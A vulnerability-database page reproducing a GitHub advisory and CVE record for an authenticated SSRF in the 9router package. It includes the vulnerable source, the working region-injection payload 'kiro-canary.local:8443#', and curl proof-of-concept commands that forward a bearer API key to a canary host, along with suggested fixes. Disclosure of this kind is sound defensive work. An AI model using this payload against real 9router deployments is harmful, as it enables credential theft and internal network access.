Vulnerability-Lookup

GHSA-6MWV-4MRM-5P3M

Vulnerability from github – Published: 2026-09-23 18:12 – Updated: 2026-09-23 18:12

Summary

9router: Kiro region injection allows authenticated SSRF with Authorization header forwarding

Details

Summary

The Kiro API-key validation endpoint builds an upstream URL using a user-controlled region value. By supplying a crafted region such as kiro-canary.local:8443#, an authenticated attacker can cause 9router to send the Kiro validation request to an attacker-controlled host under the constructed codewhisperer.<region> hostname. The request forwards the submitted Kiro API key as an Authorization: Bearer header.

Details

Affected version / commit: 9router v0.5.2 @ 5da508a.
Endpoint: POST /api/oauth/kiro/api-key.
Correct runtime payload: region: "kiro-canary.local:8443#".
Do not use the old @host# payload (region: "@kiro-canary.local:8443#"); it is blocked by Node/undici fetch() because it creates URL credentials ("Request cannot be constructed from a URL that includes credentials").
Constructed upstream host becomes: codewhisperer.kiro-canary.local:8443 (the # turns the trailing .amazonaws.com into a URL fragment).
HTTPS canary captured: Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO.
TLS verification was not globally disabled; the reproduction uses a local CA via NODE_EXTRA_CA_CERTS.
The no-auth control returns 401, so this standalone issue is authenticated.
SameSite=Lax on the session cookie prevents cross-site POST cookie delivery, so do not claim drive-by CSRF unless another same-site / auth-bypass primitive is chained.

Root cause. The route reads region straight from the request body and passes it, unvalidated, into the upstream URL template; the bearer credential is forwarded to that host, and the upstream response body is reflected back to the client on error:

// src/app/api/oauth/kiro/api-key/route.js
const { apiKey, region } = await request.json();
...
const credential = await kiroService.validateApiKey(apiKey, region || "us-east-1");
...
} catch (error) {
  return NextResponse.json({ error: error.message }, { status: 500 });   // reflects upstream body
}

// src/lib/oauth/services/kiro.js — listAvailableProfiles()
const endpoint = `https://codewhisperer.${region}.amazonaws.com`;        // region interpolated
const response = await fetch(endpoint, {
  method: "POST",
  headers: {
    "x-amz-target": "AmazonCodeWhispererService.ListAvailableProfiles",
    "Authorization": `Bearer ${accessToken}`,                            // credential forwarded
    ...
  },
  body: JSON.stringify({ maxResults: 10 }),
});
if (!response.ok) {
  const error = await response.text();
  throw new Error(`Failed to list profiles: ${error}`);                  // upstream body -> error.message
}

There is no allowlist on region, and the call uses the default fetch dispatcher (no internal-IP denylist / DNS pinning), so a codewhisperer.<attacker-domain> that resolves to an internal address (e.g. 169.254.169.254 or RFC1918) would be reached.

PoC

Start the package:

docker compose up --build

The endpoint is authenticated, so first obtain a dashboard session using the password configured in docker-compose.yml (INITIAL_PASSWORD), saving the cookie:

curl -i -c session.txt -X POST http://127.0.0.1:18184/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"password":"repro-dashboard-pass"}'

Then send the region-injection request with that session cookie:

curl -i -b session.txt -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \
  -H "Content-Type: application/json" \
  -d '{"apiKey":"DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO","region":"kiro-canary.local:8443#"}'

Expected:

9router returns a 500 whose body contains a controlled canary marker, indicating the validation request reached the canary and its response was reflected.
docker compose logs kiro-canary shows a request with:
Host: codewhisperer.kiro-canary.local:8443
Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO

No-auth control (no session cookie):

curl -i -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \
  -H "Content-Type: application/json" \
  -d '{"apiKey":"DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO","region":"kiro-canary.local:8443#"}'

Expected: 401 Unauthorized.

Safe-region control (region: "us-east-1"): no canary hit; the blackholed AWS host is never contacted.

Impact

An authenticated attacker can make the server send a Kiro validation request to an attacker-controlled host and forward the submitted Kiro API key in the Authorization header. This can be used for SSRF and credential forwarding during Kiro API-key validation. The issue is authenticated as a standalone bug.

Screenshots

The following screenshots show the safe-region control, the region-injection SSRF trigger, the HTTPS canary evidence, and the no-auth control.

1. Safe-region control — normal Kiro validation path

01-kiro-safe-region-control

An authenticated request to /api/oauth/kiro/api-key using the valid region us-east-1 and a dummy API key completes normally with 200 OK. This establishes the expected non-malicious validation path.

2. Region-injection SSRF trigger — canary marker reflected

02-kiro-region-injection-ssrf-500-reflection

An authenticated request supplies the crafted region value kiro-canary.local:8443#. Because the upstream URL is built from the raw region value, the request is routed to the attacker-controlled canary host under the constructed codewhisperer.<attacker-domain> hostname. The response contains a canary marker, confirming the server-side request reached the controlled endpoint.

3. HTTPS canary evidence — Authorization header forwarded

03-kiro-canary-authorization-captured

The HTTPS canary logs show a server-side request from the 9router container with Host: codewhisperer.kiro-canary.local:8443 and Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO. This confirms that the injected region controls the constructed upstream host and that 9router forwards the submitted Kiro API key to that host.

4. No-auth control — endpoint requires authentication

04-kiro-no-auth-control-401

The same region-injection payload is sent without an authenticated session cookie, and the server returns 401 Unauthorized. This confirms the issue is authenticated as a standalone vulnerability and should not be described as unauthenticated unless it is chained with a separate authentication bypass.

Suggested Fix

Validate region against a strict allowlist of known Kiro/AWS regions (e.g. ^[a-z]{2}-[a-z]+-\d$).
Construct upstream endpoints only from fixed enum values.
Reject region values containing colon, slash, hash, at-sign, userinfo, whitespace, or hostname separators.
After URL construction, validate that the final hostname exactly matches the expected AWS/Kiro hostname pattern.
Do not forward Authorization headers to hosts derived from untrusted input, and stop reflecting upstream response bodies in error.message.

Severity

6.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.5.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "9router"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-56678"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-23T18:12:30Z",
    "nvd_published_at": "2026-07-15T21:16:55Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe Kiro API-key validation endpoint builds an upstream URL using a user-controlled\n`region` value. By supplying a crafted region such as `kiro-canary.local:8443#`, an\nauthenticated attacker can cause 9router to send the Kiro validation request to an\nattacker-controlled host under the constructed `codewhisperer.\u003cregion\u003e` hostname. The\nrequest forwards the submitted Kiro API key as an `Authorization: Bearer` header.\n\n### Details\n\n- **Affected version / commit:** 9router v0.5.2 @ `5da508a`.\n- **Endpoint:** `POST /api/oauth/kiro/api-key`.\n- **Correct runtime payload:** `region: \"kiro-canary.local:8443#\"`.\n- Do **not** use the old `@host#` payload (`region: \"@kiro-canary.local:8443#\"`); it is\n  blocked by Node/undici `fetch()` because it creates URL credentials\n  (`\"Request cannot be constructed from a URL that includes credentials\"`).\n- **Constructed upstream host becomes:** `codewhisperer.kiro-canary.local:8443`\n  (the `#` turns the trailing `.amazonaws.com` into a URL fragment).\n- HTTPS canary captured: `Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO`.\n- TLS verification was **not** globally disabled; the reproduction uses a local CA via\n  `NODE_EXTRA_CA_CERTS`.\n- The no-auth control returns 401, so this standalone issue is **authenticated**.\n- `SameSite=Lax` on the session cookie prevents cross-site POST cookie delivery, so do\n  **not** claim drive-by CSRF unless another same-site / auth-bypass primitive is\n  chained.\n\n**Root cause.** The route reads `region` straight from the request body and passes it,\nunvalidated, into the upstream URL template; the bearer credential is forwarded to that\nhost, and the upstream response body is reflected back to the client on error:\n\n```js\n// src/app/api/oauth/kiro/api-key/route.js\nconst { apiKey, region } = await request.json();\n...\nconst credential = await kiroService.validateApiKey(apiKey, region || \"us-east-1\");\n...\n} catch (error) {\n  return NextResponse.json({ error: error.message }, { status: 500 });   // reflects upstream body\n}\n```\n\n```js\n// src/lib/oauth/services/kiro.js \u2014 listAvailableProfiles()\nconst endpoint = `https://codewhisperer.${region}.amazonaws.com`;        // region interpolated\nconst response = await fetch(endpoint, {\n  method: \"POST\",\n  headers: {\n    \"x-amz-target\": \"AmazonCodeWhispererService.ListAvailableProfiles\",\n    \"Authorization\": `Bearer ${accessToken}`,                            // credential forwarded\n    ...\n  },\n  body: JSON.stringify({ maxResults: 10 }),\n});\nif (!response.ok) {\n  const error = await response.text();\n  throw new Error(`Failed to list profiles: ${error}`);                  // upstream body -\u003e error.message\n}\n```\n\nThere is no allowlist on `region`, and the call uses the default fetch dispatcher (no\ninternal-IP denylist / DNS pinning), so a `codewhisperer.\u003cattacker-domain\u003e` that resolves\nto an internal address (e.g. `169.254.169.254` or RFC1918) would be reached.\n\n### PoC\n\nStart the package:\n\n```bash\ndocker compose up --build\n```\n\nThe endpoint is authenticated, so first obtain a dashboard session using the password\nconfigured in `docker-compose.yml` (`INITIAL_PASSWORD`), saving the cookie:\n\n```bash\ncurl -i -c session.txt -X POST http://127.0.0.1:18184/api/auth/login \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"password\":\"repro-dashboard-pass\"}\u0027\n```\n\nThen send the region-injection request with that session cookie:\n\n```bash\ncurl -i -b session.txt -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"apiKey\":\"DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO\",\"region\":\"kiro-canary.local:8443#\"}\u0027\n```\n\nExpected:\n\n- 9router returns a 500 whose body contains a controlled canary marker, indicating the\n  validation request reached the canary and its response was reflected.\n- `docker compose logs kiro-canary` shows a request with:\n  - `Host: codewhisperer.kiro-canary.local:8443`\n  - `Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO`\n\nNo-auth control (no session cookie):\n\n```bash\ncurl -i -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"apiKey\":\"DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO\",\"region\":\"kiro-canary.local:8443#\"}\u0027\n```\n\nExpected: 401 Unauthorized.\n\nSafe-region control (`region: \"us-east-1\"`): no canary hit; the blackholed AWS host is\nnever contacted.\n\n### Impact\n\nAn authenticated attacker can make the server send a Kiro validation request to an\nattacker-controlled host and forward the submitted Kiro API key in the Authorization\nheader. This can be used for SSRF and credential forwarding during Kiro API-key\nvalidation. The issue is authenticated as a standalone bug.\n\n### Screenshots\n\nThe following screenshots show the safe-region control, the region-injection SSRF trigger, the HTTPS canary evidence, and the no-auth control.\n\n#### 1. Safe-region control \u2014 normal Kiro validation path\n\n\u003cimg width=\"1548\" height=\"831\" alt=\"01-kiro-safe-region-control\" src=\"https://github.com/user-attachments/assets/0a07d82c-16f0-4af3-97f2-145578c9e47b\" /\u003e\n\n\u003e**An authenticated request to `/api/oauth/kiro/api-key` using the valid region `us-east-1` and a dummy API key completes normally with `200 OK`. This establishes the expected non-malicious validation path.**\n\n#### 2. Region-injection SSRF trigger \u2014 canary marker reflected\n\n\u003cimg width=\"1547\" height=\"840\" alt=\"02-kiro-region-injection-ssrf-500-reflection\" src=\"https://github.com/user-attachments/assets/f31a1471-ce8b-490c-a439-58089b3ac780\" /\u003e\n\n\u003e**An authenticated request supplies the crafted region value `kiro-canary.local:8443#`. Because the upstream URL is built from the raw `region` value, the request is routed to the attacker-controlled canary host under the constructed `codewhisperer.\u003cattacker-domain\u003e` hostname. The response contains a canary marker, confirming the server-side request reached the controlled endpoint.**\n\n#### 3. HTTPS canary evidence \u2014 Authorization header forwarded\n\n\u003cimg width=\"1476\" height=\"960\" alt=\"03-kiro-canary-authorization-captured\" src=\"https://github.com/user-attachments/assets/2f445daa-307b-4223-92e8-7482d745d2b1\" /\u003e\n\n\u003e**The HTTPS canary logs show a server-side request from the 9router container with `Host: codewhisperer.kiro-canary.local:8443` and `Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO`. This confirms that the injected region controls the constructed upstream host and that 9router forwards the submitted Kiro API key to that host.**\n\n#### 4. No-auth control \u2014 endpoint requires authentication\n\n\u003cimg width=\"1544\" height=\"839\" alt=\"04-kiro-no-auth-control-401\" src=\"https://github.com/user-attachments/assets/664955ab-35a3-4c5f-bd5e-bd049f17b0c9\" /\u003e\n\n\u003e**The same region-injection payload is sent without an authenticated session cookie, and the server returns `401 Unauthorized`. This confirms the issue is authenticated as a standalone vulnerability and should not be described as unauthenticated unless it is chained with a separate authentication bypass.**\n\n### Suggested Fix\n\n- Validate `region` against a strict allowlist of known Kiro/AWS regions\n  (e.g. `^[a-z]{2}-[a-z]+-\\d$`).\n- Construct upstream endpoints only from fixed enum values.\n- Reject region values containing colon, slash, hash, at-sign, userinfo, whitespace, or\n  hostname separators.\n- After URL construction, validate that the final hostname exactly matches the expected\n  AWS/Kiro hostname pattern.\n- Do not forward Authorization headers to hosts derived from untrusted input, and stop\n  reflecting upstream response bodies in `error.message`.",
  "id": "GHSA-6mwv-4mrm-5p3m",
  "modified": "2026-09-23T18:12:30Z",
  "published": "2026-09-23T18:12:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/security/advisories/GHSA-6mwv-4mrm-5p3m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56678"
    },
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/commit/126aa244c5b51b74ab8c7594e3418fcf4437bf6f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/decolua/9router"
    },
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/releases/tag/v0.5.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "9router: Kiro region injection allows authenticated SSRF with Authorization header forwarding"
}

CVE-2026-56678 (GCVE-0-2026-56678)

Vulnerability from cvelistv5 – Published: 2026-07-15 20:51 – Updated: 2026-07-16 12:53

Title

9Router: Kiro region injection allows authenticated SSRF with Authorization header forwarding

Summary

9Router is an AI router & token saver. Prior to 0.5.6, the Kiro API-key validation endpoint POST /api/oauth/kiro/api-key builds an upstream URL using a user-controlled region value, allowing an authenticated attacker to supply a crafted region such as kiro-canary.local:8443# and cause 9Router to send the Kiro validation request to an attacker-controlled host while forwarding the submitted Kiro API key as an Authorization header. This issue is fixed in version 0.5.6.

Severity

6.4 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-16 12:53 UTC

CWE

CWE-20 - Improper Input Validation
CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/decolua/9router/security/advis…	x_refsource_CONFIRM
https://github.com/decolua/9router/commit/126aa24…	x_refsource_MISC
https://github.com/decolua/9router/releases/tag/v0.5.6	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
decolua	9router	Affected: < 0.5.6

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-56678",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-16T12:53:08.213328Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-16T12:53:24.795Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/decolua/9router/security/advisories/GHSA-6mwv-4mrm-5p3m"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "9router",
          "vendor": "decolua",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.5.6"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "9Router is an AI router \u0026 token saver. Prior to 0.5.6, the Kiro API-key validation endpoint POST /api/oauth/kiro/api-key builds an upstream URL using a user-controlled region value, allowing an authenticated attacker to supply a crafted region such as kiro-canary.local:8443# and cause 9Router to send the Kiro validation request to an attacker-controlled host while forwarding the submitted Kiro API key as an Authorization header. This issue is fixed in version 0.5.6."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.4,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-20",
              "description": "CWE-20: Improper Input Validation",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-918",
              "description": "CWE-918: Server-Side Request Forgery (SSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-15T20:51:33.190Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/decolua/9router/security/advisories/GHSA-6mwv-4mrm-5p3m",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/decolua/9router/security/advisories/GHSA-6mwv-4mrm-5p3m"
        },
        {
          "name": "https://github.com/decolua/9router/commit/126aa244c5b51b74ab8c7594e3418fcf4437bf6f",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/decolua/9router/commit/126aa244c5b51b74ab8c7594e3418fcf4437bf6f"
        },
        {
          "name": "https://github.com/decolua/9router/releases/tag/v0.5.6",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/decolua/9router/releases/tag/v0.5.6"
        }
      ],
      "source": {
        "advisory": "GHSA-6mwv-4mrm-5p3m",
        "discovery": "UNKNOWN"
      },
      "title": "9Router: Kiro region injection allows authenticated SSRF with Authorization header forwarding"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-56678",
    "datePublished": "2026-07-15T20:51:33.190Z",
    "dateReserved": "2026-06-22T16:39:01.044Z",
    "dateUpdated": "2026-07-16T12:53:24.795Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-6MWV-4MRM-5P3M

Summary

Details

PoC

Impact

Screenshots

1. Safe-region control — normal Kiro validation path

2. Region-injection SSRF trigger — canary marker reflected

3. HTTPS canary evidence — Authorization header forwarded

4. No-auth control — endpoint requires authentication

Suggested Fix

CVE-2026-56678 (GCVE-0-2026-56678)

Tags

Sightings

Nomenclature

Related by attack behaviour